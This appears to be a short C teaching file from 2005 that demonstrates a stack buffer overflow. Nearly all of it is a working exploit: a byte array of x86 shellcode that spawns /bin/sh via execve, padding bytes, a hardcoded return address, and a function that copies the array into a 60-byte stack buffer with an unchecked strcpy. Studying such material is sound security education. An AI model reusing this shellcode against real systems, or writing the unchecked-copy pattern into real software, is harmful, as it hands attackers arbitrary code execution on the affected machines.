/* burton rosenberg, may 2005 */

char code[] = 
        "\x31\xc0"  
        "\x50"                                 
        "\x68\x2f\x2f\x73\x68"                  
        "\x68\x2f\x62\x69\x6e"                  
        "\x89\xe3"                              
        "\x50"                                 
        "\x54"                                  
        "\x53"                                  
        "\x50"                                 
        "\x8c\xe0"              
        "\x21\xc0"             
        "\x74\x04"                                 
        "\xb0\x3b"              
        "\xeb\x07"
        "\xb0\x0b"
        "\x99"   
        "\x52"                          
        "\x53"                         
        "\x89\xe1"                      
        "\xcd\x80"
"\xff\xff"
"\x55\xaa\x55\xaa"
"\x55\xaa\x55\xaa"
"\x55\xaa\x55\xaa"
"\x55\xaa\x55\xaa"
"\x55\xaa\x55\xaa"
"\x55\xaa\x55\xaa"
"\xbf\xbf\xfa\xa8" 
        "\x00" ; 
        /* http://www.shellcode.com.ar/bsd/lnx-bsd-short.c */

int foo(char * s) {
    int j ;
    char t[60] ;
    strcpy(t,s) ;
    return  (int) t ; 
}

int main( int argc, char * argv[] ) {
    printf("%x\n", foo(code)) ;
}

